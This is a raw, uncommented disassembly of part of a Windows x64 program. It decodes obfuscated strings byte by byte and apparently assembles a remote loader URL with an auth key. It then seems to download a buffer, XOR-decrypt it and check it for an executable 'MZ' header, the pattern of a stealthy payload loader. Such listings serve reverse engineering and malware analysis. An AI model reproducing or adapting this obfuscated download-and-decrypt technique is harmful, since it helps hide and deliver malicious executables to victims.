mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xaf5], al
mov r9d, r15d
lea r8d, [r15 - 0x29]
mov dl, 0x61
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xaf6], al
mov r9d, r15d
lea r8d, [r15 - 0x28]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xaf7], al
mov r9d, r15d
lea r13d, [r15 - 0x27]
mov r8d, r13d
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xaf8], al
mov r9d, r15d
lea r8d, [r15 - 0x26]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xaf9], al
mov r9d, r15d
lea r8d, [r15 - 0x25]
mov dl, r14b
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xafa], al
mov r9d, r15d
lea r8d, [r15 - 0x24]
mov dl, Ordinal_41
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xafb], al
mov r9d, r15d
lea r8d, [r15 - 0x23]
mov dl, 0x57
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xafc], al
mov r9d, r15d
lea r8d, [r15 - 0x22]
mov dl, 0x61
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xafd], al
mov r9d, r15d
lea r8d, [r15 - 0x21]
mov dl, WSAStartup
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xafe], al
mov r9d, r15d
lea r8d, [r15 - 0x20]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xaff], al
mov r9d, r15d
lea r8d, [r15 - 0x1f]
mov dl, 0x69
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xb00], al
mov r9d, r15d
mov r8d, r14d
mov dl, WSAGetLastError
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xb01], al
mov r9d, r15d
lea r8d, [r15 - 0x1d]
mov dl, 0x67
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xb02], al
mov r9d, r15d
lea r8d, [r15 - 0x1c]
mov dl, 0x3a
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xb03], al
mov r9d, r15d
lea r8d, [r15 - 0x1b]
mov dl, r14b
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xb04], al
mov r9d, r15d
lea r8d, [r15 - 0x1a]
mov dl, 0x54
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xb05], al
mov r9d, r15d
lea r8d, [r15 - 0x19]
mov dl, 0x68
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xb06], al
mov r9d, r15d
lea r12d, [r15 - 0x18]
mov r8d, r12d
mov dl, 0x69
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xb07], al
mov r9d, r15d
lea r8d, [r15 - 0x17]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xb08], al
mov r9d, r15d
lea r8d, [r15 - 0x16]
mov dl, r14b
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xb09], al
mov r9d, r15d
lea r8d, [r15 - 0x15]
mov dl, 0x6d
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xb0a], al
mov r9d, r15d
lea r8d, [r15 - 0x14]
mov dl, 0x69
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xb0b], al
mov r9d, r15d
lea r8d, [r15 - 0x13]
mov dl, 0x67
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xb0c], al
mov r9d, r15d
lea r8d, [r15 - 0x12]
mov dl, 0x68
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xb0d], al
mov r9d, r15d
lea r8d, [r15 - 0x11]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xb0e], al
mov r9d, r15d
lea r8d, [r15 - 0x10]
mov dl, r14b
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xb0f], al
mov r9d, r15d
lea r8d, [r15 - 0xf]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xb10], al
mov r9d, r15d
lea r8d, [r15 - 0xe]
mov dl, 0x61
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xb11], al
mov r9d, r15d
lea r8d, [r15 - 0xd]
mov dl, 0x6b
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xb12], al
mov r9d, r15d
lea r8d, [r15 - 0xc]
mov dl, 0x65
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xb13], al
mov r9d, r15d
lea r8d, [r15 - 0xb]
mov dl, r14b
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xb14], al
mov r9d, r15d
lea r8d, [r15 - 0xa]
mov dl, 0x61
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xb15], al
mov r9d, r15d
lea r8d, [r15 - 9]
mov dl, r14b
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xb16], al
mov r9d, r15d
lea r8d, [r15 - 8]
mov dl, 0x77
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xb17], al
mov r9d, r15d
lea r8d, [r15 - 7]
mov dl, 0x68
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xb18], al
mov r9d, r15d
lea r8d, [r15 - 6]
mov dl, 0x69
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xb19], al
mov r9d, r15d
lea r8d, [r15 - 5]
mov dl, 0x6c
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xb1a], al
mov r9d, r15d
lea r8d, [r15 - 4]
mov dl, 0x65
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xb1b], al
mov r9d, r15d
lea r8d, [r15 - 3]
mov dl, reloc.WLDAP32.dll_Ordinal_33
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xb1c], al
mov r9d, r15d
lea r8d, [r15 - 2]
mov dl, reloc.WLDAP32.dll_Ordinal_41
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xb1d], al
mov r9d, r15d
lea edx, [rdi - 9]
lea r8d, [r15 - 1]
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xb1e], al
xor eax, eax
mov byte [rbp + 0xb1f], al
mov r15d, eax
lea ebx, [rdi - 0x12]
mov r9d, 0x3e
mov r8, r15
mov dl, byte [rbp + r15 + 0xae1]
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + r15 + 0xae1], al
add r15, rbx
cmp r15, 0x3e
jb 0x14001e102
xor eax, eax
mov byte [rbp + 0xb1f], al
lea rcx, [rbp + 0xae1]
call fcn.14000e9b8
mov byte [rbp + 0x9d0], reloc.WLDAP32.dll_Ordinal_50
mov ebx, gethostname
mov r9d, ebx
xor r8d, r8d
mov dl, 0x68
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9d1], al
mov r9d, ebx
lea r8d, [rbx - 0x35]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9d2], al
mov r9d, ebx
lea r8d, [rbx - 0x34]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9d3], al
mov r9d, ebx
lea r8d, [rbx - 0x33]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9d4], al
mov r9d, ebx
lea r8d, [rbx - 0x32]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9d5], al
mov r9d, ebx
lea r8d, [rbx - 0x31]
mov dl, 0x3a
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9d6], al
mov r9d, ebx
lea r8d, [rbx - 0x30]
mov dl, 0x2f
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9d7], al
mov r9d, ebx
lea r8d, [rbx - 0x2f]
mov dl, 0x2f
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9d8], al
mov r9d, ebx
lea r8d, [rbx - 0x2e]
mov dl, 0x68
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9d9], al
mov r9d, ebx
lea r8d, [rbx - 0x2d]
mov dl, 0x61
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9da], al
mov r9d, ebx
lea r8d, [rbx - 0x2c]
mov dl, WSAStartup
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9db], al
mov r9d, ebx
lea r8d, [rbx - 0x2b]
mov dl, 0x76
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9dc], al
mov r9d, ebx
lea r8d, [rbx - 0x2a]
mov dl, 0x65
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9dd], al
mov r9d, ebx
lea r8d, [rbx - 0x29]
mov dl, 0x79
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9de], al
mov r9d, ebx
lea r8d, [rbx - 0x28]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9df], al
mov r9d, ebx
lea r8d, [rbx - 0x27]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9e0], al
mov r9d, ebx
lea r15d, [rbx - 0x26]
mov r8d, r15d
mov dl, 0x65
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9e1], al
mov r9d, ebx
lea ebx, [r9 - 0x25]
mov r8d, ebx
mov dl, 0x63
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9e2], al
lea r9d, [r15 + 0x26]
lea r8d, [r15 + 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9e3], al
lea r9d, [r15 + 0x26]
mov r8, rdi
mov dl, 0x65
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9e4], al
lea r9d, [r15 + 0x26]
mov r8, rsi
mov dl, WSAStartup
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9e5], al
lea esi, [rbx + 0x25]
mov r9d, esi
lea r8d, [r15 + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9e6], al
mov r9d, esi
lea r8d, [r15 + 6]
mov dl, 0x6c
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9e7], al
mov r9d, esi
mov r8, r13
mov dl, 0x69
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9e8], al
mov r9d, esi
lea r8d, [r15 + 8]
mov dl, 0x66
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9e9], al
mov r9d, esi
lea r8d, [r15 + 9]
mov dl, 0x65
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9ea], al
mov r9d, esi
lea r8d, [r15 + 0xa]
mov dl, 0x2f
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9eb], al
mov r9d, esi
lea r8d, [r15 + 0xb]
mov dl, 0x4c
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9ec], al
mov r9d, esi
lea r8d, [r15 + 0xc]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9ed], al
mov r9d, esi
lea r8d, [r15 + 0xd]
mov dl, 0x61
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9ee], al
mov r9d, esi
lea r8d, [r15 + 0xe]
mov dl, 0x64
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9ef], al
mov r9d, esi
lea r8d, [r15 + 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9f0], al
mov r9d, esi
mov r8, r14
mov dl, WSAStartup
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9f1], al
mov r9d, esi
lea r8d, [r15 + 0x11]
mov dl, 0x41
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9f2], al
mov r9d, esi
lea r8d, [r15 + 0x12]
mov dl, 0x75
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9f3], al
mov r9d, esi
lea r8d, [r15 + 0x13]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9f4], al
mov r9d, esi
lea r8d, [r15 + 0x14]
mov dl, 0x68
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9f5], al
mov r9d, esi
lea r8d, [r15 + 0x15]
mov dl, 0x2f
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9f6], al
mov r9d, esi
mov r8, r12
mov dl, 0x6c
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9f7], al
mov r9d, esi
lea r8d, [r15 + 0x17]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9f8], al
mov r9d, esi
lea r8d, [r15 + 0x18]
mov dl, 0x61
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9f9], al
mov r9d, esi
lea r8d, [r15 + 0x19]
mov dl, 0x64
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9fa], al
mov r9d, esi
lea r8d, [r15 + 0x1a]
mov dl, 0x65
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9fb], al
mov r9d, esi
lea r8d, [r15 + 0x1b]
mov dl, WSAStartup
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9fc], al
mov r9d, esi
lea r8d, [r15 + 0x1c]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9fd], al
mov r9d, esi
lea r8d, [r15 + 0x1d]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9fe], al
mov r9d, esi
lea r8d, [r15 + 0x1e]
mov dl, 0x68
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0x9ff], al
mov r9d, esi
lea r8d, [r15 + 0x1f]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0xa00], al
mov r9d, esi
lea r8d, [r15 + 0x20]
mov dl, 0x3f
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0xa01], al
mov r9d, esi
lea r8d, [r15 + 0x21]
mov dl, 0x63
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0xa02], al
mov r9d, esi
lea r8d, [r15 + 0x22]
mov dl, 0x6b
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0xa03], al
mov r9d, esi
lea r8d, [r15 + 0x23]
mov dl, 0x65
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0xa04], al
mov r9d, esi
lea r8d, [r15 + 0x24]
mov dl, 0x79
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0xa05], al
mov r9d, esi
lea r8d, [r15 + 0x25]
mov dl, 0x3d
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + 0xa06], al
xor eax, eax
mov byte [rbp + 0xa07], al
mov r13d, eax
lea esi, [rbx - 0x10]
mov r9d, gethostname
mov r8, r13
mov dl, byte [rbp + r13 + 0x9d1]
lea rcx, [rbp + 0x9d0]
call fcn.140037544
mov byte [rbp + r13 + 0x9d1], al
add r13, rsi
cmp r13, 0x36
jb 0x14001e716
xor eax, eax
mov byte [rbp + 0xa07], al
lea rdx, [rbp + 0x9d1]
lea rcx, [rbp + 0x1040]
call fcn.140037e90
lea rcx, [rbp + 0xcb0]
call fcn.14001c4c0
lea rcx, [rbp + 0xb58]
mov qword [rsp + 0x20], rcx
mov r9d, 8
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1020]
call fcn.140037ffc
lea rcx, [rbp + 0xcb0]
call fcn.140037da8
lea r8, [rbp + 0x1020]
lea rdx, [rbp + 0x1040]
lea rcx, [rbp + 0x10a0]
call fcn.140038210
lea rcx, [rbp + 0x1020]
call fcn.140037bec
xor edx, edx
lea r8d, [rdx + 0xa]
mov rcx, rax
call fcn.14009de70
mov qword [rsp + 0x68], rax
mov dl, byte [rbp + 0xb58]
lea rcx, [rbp + 0xf78]
call fcn.1400383ac
lea rcx, [rbp + 0xf78]
call fcn.140037fe8
nop
lea rcx, [rbp + 0x10a0]
call fcn.140037bec
mov r9b, sil
xor r8d, r8d
lea rdx, [rbp + 0xf78]
mov rcx, rax
call fcn.14001c074
lea rdx, [rbp + 0xf78]
lea rcx, [rbp + 0xd50]
call fcn.140037ec4
mov rdx, rax
lea rcx, [rbp + 0xcd0]
call fcn.14001c62c
mov rdx, rax
lea rcx, [rbp + 0xf78]
call fcn.140037e04
lea rcx, [rbp + 0xcd0]
call fcn.140037da8
xor edx, edx
lea rcx, [rbp + 0x1040]
call fcn.140037fd4
mov rcx, qword [rbp + 0xf88]
call fcn.1400a16b0
mov rcx, rax
mov qword [rbp + 0xc30], rax
mov rax, qword [rbp + 0xf88]
mov qword [rbp - 0x58], rax
test rcx, rcx
mov esi, reloc.WS2_32.dll_sendto
lea r13d, [rsi + 3]
je 0x14003667c
test rax, rax
je 0x14003667c
lea rcx, [rbp + 0xf78]
call fcn.140037bec
mov rdx, rax
mov r8, qword [rbp - 0x58]
mov rcx, qword [rbp + 0xc30]
call fcn.1400bd800
xor edx, edx
lea rcx, [rbp + 0xf78]
call fcn.140037fd4
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x68], rax
movabs rax, 0xffecca5938
mov qword [rbp - 0x78], rax
xor r10d, r10d
mov qword [rbp + 0xf38], r10
mov r9d, r10d
mov r8d, r10d
lea r10d, [rsi - 0x13]
lea eax, [r9 + 1]
mov r9d, eax
movzx ecx, byte [rsp + r8 + 0x68]
imul ecx, eax
movzx eax, byte [rbp + r8 - 0x78]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + r8 + 0xf38], cl
add r8, r10
cmp r9d, 8
jb 0x14001e8f4
movabs rax, 0x8080808080808081
mov r8, qword [rbp - 0x58]
test r8, r8
je 0x14001ea31
xor r15d, r15d
mov ecx, r15d
mul r8
mov r9, rdx
shr r9, 7
add r9b, r8b
mov r10, qword [rbp + 0xc30]
mov r12d, r15d
lea ebx, [r15 + 1]
and ecx, 7
mov dil, byte [rbp + rcx + 0xf38]
mov al, dil
xor al, r9b
mov byte [rbp - 0x48], al
mov byte [rbp + 0xb80], dil
mov ecx, r15d
lea r11, [rbp + 0xf38]
movabs r15, 0x8080808080808081
movzx edi, dil
movzx eax, byte [r11]
add rdi, rax
xor rdi, qword [rbp + 0xf38]
mov rax, r15
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, ebx
add r11, rbx
cmp ecx, 8
jb 0x14001e99f
movzx ecx, dil
movzx eax, byte [rbp + 0xb80]
add ecx, eax
movzx eax, byte [rbp - 0x48]
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
xor dil, byte [r10]
sub dil, cl
mov byte [r10], dil
add r12d, ebx
add r10, rbx
movsxd rcx, r12d
cmp rcx, r8
mov r15d, 0
jb 0x14001e970
lea ebx, [r15 + 0x11]
lea edi, [rbx + 2]
lea r15d, [rbx - 1]
lea r12d, [rbx + 0x15]
mov eax, 0x5a4d
mov rcx, qword [rbp + 0xc30]
xor r8d, r8d
cmp word [rcx], ax
je 0x14001f32d
mov byte [rbp + 0x3d8], 0x78
mov r9, rbx
mov dl, 0x42
lea rcx, [rbp + 0x3d8]
call fcn.1400371f8
mov byte [rbp + 0x3d9], al
mov r9, rbx
mov r13d, 1
mov r8d, r13d
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x3d8]
call fcn.1400371f8
mov byte [rbp + 0x3da], al
mov r9, rbx
lea r8d, [r13 + 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x3d8]
call fcn.1400371f8
mov byte [rbp + 0x3db], al
mov r9, rbx
lea r8d, [r13 + 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x3d8]
call fcn.1400371f8
mov byte [rbp + 0x3dc], al
mov r9, rbx
lea r8d, [r13 + 3]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x3d8]
call fcn.1400371f8
mov byte [rbp + 0x3dd], al
mov r9, rbx
lea r8d, [r13 + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x3d8]
call fcn.1400371f8
mov byte [rbp + 0x3de], al
mov r9, rbx
lea r8d, [r13 + 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x3d8]
call fcn.1400371f8
mov byte [rbp + 0x3df], al
mov r9, rbx
lea r8d, [r13 + 6]
mov dl, 0x61
lea rcx, [rbp + 0x3d8]
call fcn.1400371f8
mov byte [rbp + 0x3e0], al
mov r9, rbx
lea r8d, [r13 + 7]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x3d8]
call fcn.1400371f8
mov byte [rbp + 0x3e1], al
mov r9, rbx
lea r8d, [r13 + 8]
mov dl, r14b
lea rcx, [rbp + 0x3d8]
call fcn.1400371f8
mov byte [rbp + 0x3e2], al
mov r9, rbx
lea r8d, [r13 + 9]
mov dl, 0x46
lea rcx, [rbp + 0x3d8]
call fcn.1400371f8
mov byte [rbp + 0x3e3], al
mov r9, rbx
lea r8d, [r13 + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x3d8]
call fcn.1400371f8
mov byte [rbp + 0x3e4], al
mov r9, rbx
lea r8d, [r13 + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x3d8]
call fcn.1400371f8
mov byte [rbp + 0x3e5], al
mov r9, rbx
lea r8d, [r13 + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x3d8]
call fcn.1400371f8
mov byte [rbp + 0x3e6], al
mov r9, rbx
lea r8d, [r13 + 0xd]
mov dl, 0x75
lea rcx, [rbp + 0x3d8]
call fcn.1400371f8
mov byte [rbp + 0x3e7], al
mov r9, rbx
lea r8d, [r13 + 0xe]
mov dl, WSAStartup
lea rcx, [rbp + 0x3d8]
call fcn.1400371f8
mov byte [rbp + 0x3e8], al
mov r9, rbx
mov r8, r15
mov dl, 0x65
lea rcx, [rbp + 0x3d8]
call fcn.1400371f8
mov byte [rbp + 0x3e9], al
xor eax, eax
mov byte [rbp + 0x3ea], al
mov esi, eax
mov r9, rbx
mov r8, rsi
mov dl, byte [rbp + rsi + 0x3d9]
lea rcx, [rbp + 0x3d8]
call fcn.1400371f8
mov byte [rbp + rsi + 0x3d9], al
add rsi, r13
cmp rsi, rbx
jb 0x14001ec26
xor eax, eax
mov byte [rbp + 0x3ea], al
mov byte [rbp + 0xaa0], r14b
lea esi, [rax + 0x3d]
mov r9d, esi
xor r8d, r8d
mov dl, 0x49
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xaa1], al
mov r9d, esi
mov r8, r13
mov dl, WSAGetLastError
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xaa2], al
mov r9d, esi
lea r8d, [rsi - 0x3b]
mov dl, 0x76
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xaa3], al
mov r9d, esi
lea r8d, [rsi - 0x3a]
mov dl, 0x61
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xaa4], al
mov r9d, esi
lea r8d, [rsi - 0x39]
mov dl, 0x6c
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xaa5], al
mov r9d, esi
lea r8d, [rsi - 0x38]
mov dl, 0x69
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xaa6], al
mov r9d, esi
lea r8d, [rsi - 0x37]
mov dl, 0x64
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xaa7], al
mov r9d, esi
lea r8d, [rsi - 0x36]
mov dl, r14b
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xaa8], al
mov r9d, esi
lea r8d, [rsi - 0x35]
mov dl, 0x50
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xaa9], al
mov r9d, esi
lea r8d, [rsi - 0x34]
mov dl, WSAStartup
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xaaa], al
mov r9d, esi
lea r8d, [rsi - 0x33]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xaab], al
mov r9d, esi
lea r8d, [rsi - 0x32]
mov dl, 0x63
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xaac], al
mov r9d, esi
lea r8d, [rsi - 0x31]
mov dl, 0x65
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xaad], al
mov r9d, esi
lea r8d, [rsi - 0x30]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xaae], al
mov r9d, esi
lea r8d, [rsi - 0x2f]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xaaf], al
mov r9d, esi
lea r8d, [rsi - 0x2e]
mov dl, 0x65
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xab0], al
mov r9d, esi
mov r8, r15
mov dl, 0x64
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xab1], al
mov r9d, esi
mov r8, rbx
mov dl, r14b
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xab2], al
mov r9d, esi
lea r8d, [rsi - 0x2b]
mov dl, 0x44
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xab3], al
mov r9d, esi
mov r8, rdi
mov dl, 0x61
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xab4], al
mov r9d, esi
lea r8d, [rsi - 0x29]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xab5], al
mov r9d, esi
lea r8d, [rsi - 0x28]
mov dl, 0x61
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xab6], al
mov r9d, esi
lea r8d, [rsi - 0x27]
mov dl, r14b
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xab7], al
mov r9d, esi
lea r8d, [rsi - 0x26]
mov dl, 0x30
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xab8], al
mov r9d, esi
lea r8d, [rsi - 0x25]
mov dl, 0x78
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xab9], al
mov r9d, esi
lea r8d, [rsi - 0x24]
mov dl, Ordinal_50
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xaba], al
mov r9d, esi
lea r8d, [rsi - 0x23]
mov dl, r14b
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xabb], al
mov r9d, esi
lea r8d, [rsi - 0x22]
mov dl, Ordinal_41
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
